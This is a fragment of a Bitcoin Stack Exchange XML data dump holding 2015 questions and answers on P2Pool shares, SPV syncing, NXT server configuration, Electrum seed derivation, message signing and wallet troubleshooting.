/>
  <row Id="36815" PostTypeId="1" AcceptedAnswerId="36817" CreationDate="2015-04-07T16:53:50.367" Score="1" ViewCount="3282" Body="&lt;p&gt;What does DOA stand for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this in the context of &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt; stales, specifically &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool#Tips_to_configure_bfgminer_to_reduce_stale.2Fdoa:&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-02-08T12:56:07.840" LastActivityDate="2016-02-08T12:56:07.840" Title="What does DOA stand for?" Tags="|p2pool|terminology|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36817" PostTypeId="2" ParentId="36815" CreationDate="2015-04-07T18:37:37.630" Score="3" Body="&lt;p&gt;Dead On Arrival. The term is referring to about valid shares your miner discovers that were found too late to be included in the P2Pool internal block chain and therefor aren't paid to the miner. Counter intuitively a DOA share can still be a valid Bitcoin block.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-07T18:37:37.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36818" PostTypeId="1" AcceptedAnswerId="36820" CreationDate="2015-04-07T18:38:31.713" Score="1" ViewCount="439" Body="&lt;p&gt;SPV nodes rely on their peers to send them transaction data that is relevant to them. When an SPV node sets up a bloom filter with one of their full node peers, doesn't that only tell the full node which transactions to send the SPV node &lt;em&gt;from now on&lt;/em&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do SPV nodes catch up after being offline? Which p2p calls can they use to get their transaction info from their peers?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2015-04-27T22:48:07.220" LastActivityDate="2015-04-27T22:48:07.220" Title="How do SPV get their transactions after being offline?" Tags="|transactions|spv|bip37-bloom-filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36819" PostTypeId="2" ParentId="36814" CreationDate="2015-04-07T18:39:54.467" Score="1" Body="&lt;p&gt;Yes. On their &lt;a href=&quot;https://www.bitmaintech.com/productDetail.htm?pid=00020141223034607777DtzESHvI06C9&quot; rel=&quot;nofollow&quot;&gt;sales listing&lt;/a&gt; they note specifically that they have passed FCC and CE approval, and their products bear the markings for this accordingly. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-07T18:39:54.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36820" PostTypeId="2" ParentId="36818" CreationDate="2015-04-07T18:45:48.020" Score="5" Body="&lt;p&gt;Block fetching requests are also filtered, so the client requests every single block they missed out on seeing since the last time they were last online, sequentially. The client downloads all block headers from genesis up to the current head using &lt;code&gt;getheaders&lt;/code&gt;, sets a filter on their peer with &lt;code&gt;filterload&lt;/code&gt;, and then downloads filtered blocks with &lt;code&gt;getdata&lt;/code&gt; until they are in sync with the network. &lt;code&gt;filteradd&lt;/code&gt; may be used in deterministic wallets to extend the filter to include more keys as used ones are discovered in their scan. When they are in sync, they will only receive new inventory that matches the filter. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-07T18:45:48.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36821" PostTypeId="2" ParentId="36622" CreationDate="2015-04-07T19:30:17.900" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.hashcash.org/papers/dagger.html&quot; rel=&quot;nofollow&quot;&gt;Dagger&lt;/a&gt; is intended to require lots of memory to create, but little to verify.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-07T19:30:17.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36824" PostTypeId="1" CreationDate="2015-04-07T23:58:46.737" Score="1" ViewCount="853" Body="&lt;p&gt;I just installed and unzipped the NXT server/client from: &lt;a href=&quot;https://bitbucket.org/JeanLucPicard/nxt/downloads&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/JeanLucPicard/nxt/downloads&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The run.sh file is running fine now and I can access the NRS (NXT Reference Software) via localhost:7876 on the computer that is running the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want to be able to access this server on another computer on the network. I know the IP address of the computer running the server, but I can't seem to get to the NRS. I know I have to make some changes on the config file, but what are the sections I need to make changes to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone list out what needs to be changed? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-04-08T00:13:39.237" Title="What do I change in my config to access my local NXT NRS Server/Client from another computer on my local LAN?" Tags="|server|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36825" PostTypeId="2" ParentId="36824" CreationDate="2015-04-08T00:13:39.237" Score="1" Body="&lt;p&gt;what I did was the following, create a nxt.properties file in the conf/ directory and put this in the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basically makes your NXT NRS server publicly available on your local lan or via the internet if your looking to setup a public server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hosts from which to allow http/json API requests, if enabled. Set to * to allow all.&#xA;# Can also specify networks in CIDR notation, e.g. 192.168.1.0/24.&#xA;#nxt.allowedBotHosts=127.0.0.1; localhost; [0:0:0:0:0:0:0:1];&#xA;nxt.allowedBotHosts=*; localhost; [0:0:0:0:0:0:0:1];&#xA;&#xA;&#xA;# Host interface on which to listen for http/json API request, default localhost only.&#xA;# Set to 0.0.0.0 to allow the API server to accept requests from all network interfaces.&#xA;#nxt.apiServerHost=127.0.0.1&#xA;nxt.apiServerHost=0.0.0.0&#xA;&#xA;&#xA;# Hosts from which to allow NRS user interface requests, if enabled. Set to * to allow all.&#xA;#nxt.allowedUserHosts=127.0.0.1; localhost; [0:0:0:0:0:0:0:1];&#xA;nxt.allowedUserHosts=*; localhost; [0:0:0:0:0:0:0:1];&#xA;&#xA;&#xA;# Host interface for NRS user interface server, default localhost only.&#xA;# Set to 0.0.0.0 to allow the UI to be accessed on all network interfaces.&#xA;#nxt.uiServerHost=127.0.0.1&#xA;nxt.uiServerHost=0.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-04-08T00:13:39.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36826" PostTypeId="2" ParentId="32234" CreationDate="2015-04-08T00:41:49.727" Score="2" Body="&lt;p&gt;Seems that the new 1.5 nxt version is giving users the ability to attach up to 40kb worth of data in the blockchain. See here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sVX4R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;NXT 1.5 decentralized storage on the blockchain&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also found the discussion of &lt;strong&gt;NXT Transient Data&lt;/strong&gt; where data can be stored on the blockchain temporarily and then removed after a certain amount of time to reduce blockchain bloat. As discussed bye Jean-Luc: &lt;a href=&quot;https://nxtforum.org/general-discussion/price-speculation/msg126548/#msg126548&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://nxtforum.org/general-discussion/price-speculation/msg126548/#msg126548&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We could add a &quot;transient data&quot; attachment that can have larger size,&#xA;  but is only kept in the blockchain for a limited time, say 24 hours.&#xA;  The hash of the complete attachment will be included in the&#xA;  transaction bytes that are signed and will be kept permanently, so&#xA;  that transaction signature can always be verified, but the actual data&#xA;  will be deleted after this expiration period. Then the bloat to the&#xA;  blockchain and extra traffic will be limited to those attachments for&#xA;  the last 24 hours. This wouldn't be that useful for images for goods&#xA;  that sellers keep in stock permanently, but for short lived items, or&#xA;  even message with picture type of attachment, may work. Just an idea.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Decentralized file storage released on production blockchain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVX4R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2015-06-27T20:28:58.547" LastActivityDate="2015-06-27T20:28:58.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36827" PostTypeId="1" CreationDate="2015-04-08T02:38:31.390" Score="1" ViewCount="1426" Body="&lt;p&gt;Is it possible to launder cash this way:&#xA;Purchase bitcoins at an atm using cash. This is completely anonymous right? Then sell them on an exchange and report the gains there to the IRS as if they were mined bitcoins. Possible?&lt;/p&gt;&#xA;" OwnerUserId="24987" LastActivityDate="2015-04-09T14:27:16.157" Title="Launder cash using bitcoin atms" Tags="|money-laundering|bitcoin-atm|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36828" PostTypeId="1" CreationDate="2015-04-08T04:33:18.490" Score="1" ViewCount="90" Body="&lt;p&gt;Im considering using listinceblock to monitor incoming bitcoins to my app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if the block returned by listsinceblock ends up being on a dead-end fork?&lt;/p&gt;&#xA;" OwnerUserId="21776" LastEditorUserId="21776" LastEditDate="2015-04-08T05:56:53.437" LastActivityDate="2015-04-08T05:56:53.437" Title="listsinceblock returning block on fork" Tags="|bitcoind|development|api|bitcoin-core|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36829" PostTypeId="2" ParentId="36827" CreationDate="2015-04-08T05:29:43.750" Score="3" Body="&lt;p&gt;Most Bitcoin ATM vendors require you to identify yourself and track your buys and sells. This is done due to Know Your Customers and Anti Money Laundering regulation. You need to present the source of of your money in some point when you exceed some threshold of volume. If any Bitcoin ATM vendor chooses not do this it would be helping  committing money laundering crimes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a ATM vendor stupid enough not to do any kind of KYC do not expect them to stay in the business in long run. Alternative, if the operator of ATM stays anynonymous, they are looking for a scam exit and will run with your money.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2015-04-08T05:37:28.537" LastActivityDate="2015-04-08T05:37:28.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36830" PostTypeId="2" ParentId="9956" CreationDate="2015-04-08T07:04:42.720" Score="0" Body="&lt;p&gt;Yes, many people became rich mining Bitcoin, but years ago. Today mining is for those with the resources to operate huge mining farms. Transaction fees are supposed to keep miners motivated, but I think significantly increasing transaction fees would kill the main advantage of Bitcoin (which is cheap transactions). I wrote an article about that a few months ago:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cryptocoinsnews.com/post-mining-bitcoin-collapse-sustainable-growth/&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptocoinsnews.com/post-mining-bitcoin-collapse-sustainable-growth/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-04-08T07:04:42.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36831" PostTypeId="1" CreationDate="2015-04-08T07:29:03.447" Score="6" ViewCount="147" Body="&lt;p&gt;SPV clients, like Electrum, ask for cryptographic proof that a transaction is contained in a block. This is done by including each merkle branch necessary to get a hash that's equal to the merkle root of the block. This takes &lt;code&gt;log(2, N) * 32 bytes&lt;/code&gt;, where N is the number of transactions in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more space-efficient way to cryptographically prove that a transaction is contained within a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of argument, let's assume that you're allowed to change how the block header and merkle tree is calculated, or replace it altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of a possible improvement would be to change the hash function used for building merkle trees from SHA256d to RIPEMD-160 (or another 160 bit hash function, &lt;a href=&quot;https://crypto.stackexchange.com/questions/9435/is-truncating-a-sha512-hash-to-the-first-160-bits-as-secure-as-using-sha1&quot;&gt;like SHA512/160&lt;/a&gt;). This would only take &lt;code&gt;log(2, N) * 20 bytes&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2015-06-07T04:07:50.810" Title="Is there a more space-efficient way to prove that a transaction is contained within a block?" Tags="|development|merkle-tree|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36832" PostTypeId="2" ParentId="36757" CreationDate="2015-04-08T09:08:27.780" Score="0" Body="&lt;p&gt;nLockTime can in fact be used by meta-protocols (e.g. Counterparty, Mastercoin) because nLockTime simply decides when a transaction can be mined.&lt;/p&gt;&#xA;" OwnerUserId="24988" LastActivityDate="2015-04-08T09:08:27.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36833" PostTypeId="2" ParentId="36146" CreationDate="2015-04-08T15:07:23.753" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Upgrade to the very latest stable version. We saw alot less memory leakage with .10 on ubuntu&lt;/li&gt;&#xA;&lt;li&gt;run a cron job to restart it every night around 4:00 am est when there are fewest ransactions. This will cut down on memory leakage&lt;/li&gt;&#xA;&lt;li&gt;make sure your box has at least 4 gigs of ram and a 2 gig swap partition.&lt;/li&gt;&#xA;&lt;li&gt;give us some more info here. like linux distro, machine stats and what kind of rpc calls u often do.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13687" LastActivityDate="2015-04-08T15:07:23.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36835" PostTypeId="1" AcceptedAnswerId="36848" CreationDate="2015-04-08T17:21:18.900" Score="4" ViewCount="574" Body="&lt;p&gt;If I open Google and type &lt;a href=&quot;https://www.google.it/search?hl=en&amp;amp;client=ubuntu&amp;amp;q=1+bitcoin+to+dollar&quot; rel=&quot;nofollow&quot;&gt;1 Bitcoin to Dollar&lt;/a&gt; I'm returned with a number (as of writing, &quot;1 Bitcoin equals&#xA;246.09 US Dollar&quot;). But where does this number come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the decentralized nature of Bitcoins (there are no banks, governments or whatsoever), shouldn't each exchange have its own rate? How can there be a unique, widely-accepted exchange rate, valid for everyone?&lt;/p&gt;&#xA;" OwnerUserId="24990" LastEditorUserId="24990" LastEditDate="2015-04-08T17:48:12.217" LastActivityDate="2015-04-12T17:05:07.700" Title="Why is the exchange rate of Bitcoins the same for everyone?" Tags="|exchanges|exchange-rate|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36838" PostTypeId="1" CreationDate="2015-04-09T01:20:26.477" Score="1" ViewCount="1419" Body="&lt;p&gt;The standard Bitcoin message signature works as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sign(sha256(magicPrefix . length(message) . message))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;magic prefix&quot; is simply the string &lt;code&gt;'\x18Bitcoin Signed Message:\n'&lt;/code&gt;, where 0x18 is the length of the prefix text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it's this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sign(sha256(length(prefix) . prefix . length(message) . message))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why does it use a magic prefix?&lt;/li&gt;&#xA;&lt;li&gt;Why does it include the lengths of the two components?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm asking mainly from a security point of view. Does adding a prefix or including the length(s) have any security benefits? If not, I'd like to drop it from my signatures.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2015-04-09T02:59:04.250" Title="Why does the standard Bitcoin message signature include a &quot;magic prefix?&quot;" Tags="|message-signing|" AnswerCount="1" CommentCount="3" ClosedDate="2015-04-09T03:42:29.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="36839" PostTypeId="1" AcceptedAnswerId="36945" CreationDate="2015-04-09T01:40:31.337" Score="3" ViewCount="2367" Body="&lt;p&gt;Electrum 2.0 has been causing me some frustration, insofar as it seems to be a non-standard implementation of BIP32/BIP39 (HD wallets, mnemonic seed, respectively). The wallet in question is a 2of2 multisig wallet (all P2SH), with the 2nd extended public key being created in &lt;em&gt;pybitcointools&lt;/em&gt; using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bip32_privtopub( bip32_master_key( sha256(&quot;a password&quot;) ) )&lt;/code&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then imported into Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the 13 word seed, which itself is non standard since the last word is a checksum, it's proven impossible to export the &lt;code&gt;xpriv&lt;/code&gt; key from Electrum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is a mnemonic seed converted to a BIP32 standard extended private key (given the client itself won't allow it)? : &lt;strong&gt;EDIT1&lt;/strong&gt;: &lt;em&gt;with great difficulty, see my &lt;a href=&quot;https://bitcoin.stackexchange.com/a/36840/9382&quot;&gt;answer&lt;/a&gt; below&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(REFOCUSED) QUESTION&lt;/strong&gt;: *why does Electrum:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;stray from BIP0039?&lt;/li&gt;&#xA;&lt;li&gt;make exporting the master BIP32 private key &lt;em&gt;impossible?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;return partially signed P2SH hex Txs which are malformed?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2017-07-11T04:49:16.990" Title="Electrum 2.0: non-BIP39/32 standardisation complicates matters immensely. Why?" Tags="|electrum|thin-clients|bip32-hd-wallets|p2sh|mnemonic-seed|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36840" PostTypeId="2" ParentId="36839" CreationDate="2015-04-09T01:44:40.627" Score="0" Body="&lt;p&gt;I just found &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2zym7e/how_to_export_master_private_key_xprv_on_electrum/&quot; rel=&quot;nofollow&quot;&gt;this over at /r/Bitcoin:&lt;/a&gt;, so apparently there's an exe to do this, but I'm not exactly game, since downloading the link got flagged by chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears Electrum uses: &lt;code&gt;m/0/0&lt;/code&gt; for wallet addresses and &lt;code&gt;m/1/0&lt;/code&gt; for change addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT:&lt;/em&gt;&lt;/strong&gt; &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/pull/84&quot; rel=&quot;nofollow&quot;&gt;A pull request has been submitted&lt;/a&gt; for code which extracts the root seed from the Electrum 2.0 seed phrase:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def electrumv2_extract_seed(words, password=''):&#xA;    &quot;&quot;&quot;Takes Electrum v2.0 13 word mnemonic string and returns seed. Only works on English for now&quot;&quot;&quot;&#xA;    # clean-up unicode characters&#xA;    mnemonic = words[:]&#xA;    try:&#xA;        mnemonic = unicodedata.normalize('NFC', unicode(' '.join(words.lower().strip().split()))).encode('utf-8') # a string of 13 words&#xA;    except Exception as e:&#xA;        raise Exception(str(e))&#xA;    rootseed = pbkdf2.PBKDF2(str(mnemonic), str('electrum' + password), 2048,  macmodule=hmac, digestmodule=hashlib.sha512).read(64)&#xA;    return rootseed&#xA;&#xA;def electrumv2_mnemonic_to_mprivkey(words, password=''):&#xA;    return bip32_master_key(electrumv2_extract_seed(words, password=''))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is for use with &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; as &lt;code&gt;from bitcoin import *&lt;/code&gt; in Python 2.7&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-14T12:18:14.757" LastActivityDate="2015-04-14T12:18:14.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36841" PostTypeId="2" ParentId="36838" CreationDate="2015-04-09T02:59:04.250" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4880#section-5.2.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC4880&lt;/a&gt; apparently standardises the way signatures work, so it &lt;em&gt;could&lt;/em&gt; be referring to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0x18: Subkey Binding Signature&#xA;This signature is a statement by the top-level signing key that&#xA;indicates that it owns the subkey.  This signature is calculated&#xA;directly on the primary key and subkey, and not on any User ID or&#xA;other packets.  A signature that binds a signing subkey MUST have&#xA;an Embedded Signature subpacket in this binding signature that&#xA;contains a 0x19 signature made by the signing subkey on the&#xA;primary key and subkey.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But it seems much more likely &lt;a href=&quot;https://github.com/bitid/bitid/blob/master/bip70_extension.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP70 extension proposal&lt;/a&gt; is the reason for standardising signatures, as outlined by their BitID &lt;a href=&quot;https://github.com/bitid/bitid#wallet-implementation-requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;wallet implementation requirements&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To be compatible with the BitID protocol, a wallet must implement the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;register the bitid scheme&lt;/li&gt;&#xA;&lt;li&gt;throw a bitid intent when scanning a BitID QR code (if applicable)&lt;/li&gt;&#xA;&lt;li&gt;decode the URI and verify its format&lt;/li&gt;&#xA;&lt;li&gt;display a request for authentication showing the domain name callback and &amp;gt; - ask for validation&lt;/li&gt;&#xA;&lt;li&gt;ask the user to pick up or create a Bitcoin address for the authentication (show the last Bitcoin address used if this is a known callback address)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;sign the BitID URI with the private key (using the \x18Bitcoin Signed Message:\n#{message.size.chr}#{message} convention)&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;POST the signature and the public key to the callback URL&#xA;completion dialog : success/retry/cancel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2015-04-09T02:59:04.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36842" PostTypeId="1" CreationDate="2015-04-09T03:50:05.573" Score="1" ViewCount="840" Body="&lt;p&gt;I want to get the input addresses of a transaction with a known id. If I use getrawtransaction I get something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vin&quot; : [&#xA;{&#xA;&quot;txid&quot; : &quot;470a499101b7042b225dab4f15fa252cdc7f3a16153e33d66d0c8c53b1d83aaa&quot;,&#xA;&quot;vout&quot; : 1,&#xA;&quot;scriptSig&quot; : {&#xA;&quot;asm&quot; : &quot;304502206917b333161de796bed7770615ebf66669092a53877b3dba2582bad7dfc0b56c022100f9926a5e82d15666122b1f8703d94116eec0c98ddbf922a72467b05953532e1a01 03864670304932f91c85f38e80aebcd6c37fa36529b7135f7fa21b36585df5ab49&quot;,&#xA;&quot;hex&quot; : &quot;48304502206917b333161de796bed7770615ebf66669092a53877b3dba2582bad7dfc0b56c022100f9926a5e82d15666122b1f8703d94116eec0c98ddbf922a72467b05953532e1a012103864670304932f91c85f38e80aebcd6c37fa36529b7135f7fa21b36585df5ab49&quot;&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to further look of the transaction 470a499101b7042b225dab4f15fa252cdc7f3a16153e33d66d0c8c53b1d83aaa with getrawtransaction I get a:&#xA;&quot;No information availabe about transaction (code -5)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it at all possible to get the input addresses of a random transaction (not belonging to your wallet) with bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastActivityDate="2015-04-09T16:28:19.103" Title="How to get the input address from an txid with bitcoind" Tags="|transactions|bitcoind|raw-transaction|gettransaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36843" PostTypeId="2" ParentId="36842" CreationDate="2015-04-09T04:12:36.567" Score="1" Body="&lt;p&gt;You need to pass the option &lt;code&gt;-txindex=1&lt;/code&gt; at the command line, or include &lt;code&gt;txindex=1&lt;/code&gt; in bitcoin.conf.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-09T04:12:36.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36844" PostTypeId="2" ParentId="21170" CreationDate="2015-04-09T04:16:33.573" Score="-1" Body="&lt;p&gt;For dependenices the minumum i was able to get away with was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libdb4.8-dev&#xA;libdb4.8++-dev&#xA;libminiupnpc-dev&#xA;libqt4-dev&#xA;libprotobuf-dev&#xA;protobuf-compiler&#xA;apt-get install libqrencode-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make sure you have enough room for validation i had the many errors coming up for not dedicating enough. Personally when it comes to bandwidth I needed way more than 14 Mbps.&lt;/p&gt;&#xA;" OwnerUserId="24997" LastEditorUserId="2306" LastEditDate="2015-04-12T21:43:09.587" LastActivityDate="2015-04-12T21:43:09.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36845" PostTypeId="1" AcceptedAnswerId="38287" CreationDate="2015-04-09T05:34:39.040" Score="1" ViewCount="9939" Body="&lt;p&gt;How do I solo mine with an AntMiner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AntMiners use &lt;code&gt;cgminer&lt;/code&gt;, which certainly supports GBT, but when I use &lt;code&gt;http://&amp;lt;my_local_net_ip&amp;gt;:8332/&lt;/code&gt; and my &lt;code&gt;bitcoind&lt;/code&gt; username and password for &quot;Worker&quot; and &quot;Password,&quot; respectively, on the &quot;Miner Configuration&quot; tab of my AntMiner's page, the AntMiner says my &quot;pool&quot; is dead. &lt;code&gt;bfgminer&lt;/code&gt; can connect, via RPC, to my local &lt;code&gt;bitcoind&lt;/code&gt; &quot;pool&quot; just fine, so the issue is with AntMiner/&lt;code&gt;cgminer&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2022-02-07T16:48:02.993" LastActivityDate="2022-02-07T16:48:02.993" Title="Solo Mine with an AntMiner" Tags="|miner-configuration|cgminer|solo-mining|antminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36846" PostTypeId="1" CreationDate="2015-04-09T12:18:43.353" Score="1" ViewCount="552" Body="&lt;p&gt;So here is my situattion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while back I have purchased as and experiment some cloud mining, I ended up getting about $70 out of it. Anyway I use the official Android bitcoin app:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it backed up. And now when I try to restore it, the app just freezes at certain point. At the beginning it is 8 months behind, and as transactions start to appear in it, under each transaction there is alert basically saying that due to the fact that these transactions send to multiple addresses at once that app may become slow over time. And boy.. are they right. After it reaches certain point the transactions don't even  show up anymore, and I can't seem to be able to send any bitcoins to some other adress before it is fully synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, can I maybe take the back up file and restore it to different wallet app (maybe one of the online based, or even some PC based  one (Ubuntu)), as my guess is that my phone just can handle it (tried HTC ONE m7 and some shitty Sony Xperia). If so, how would I do it? Or all I can do is just keep on waiting? Or any other way to get my bitcoins out of that wallet, and just to forget about that wallet?&lt;/p&gt;&#xA;" OwnerUserId="14813" LastActivityDate="2016-04-03T21:50:28.793" Title="Bitcoins stuck in phone based wallet" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
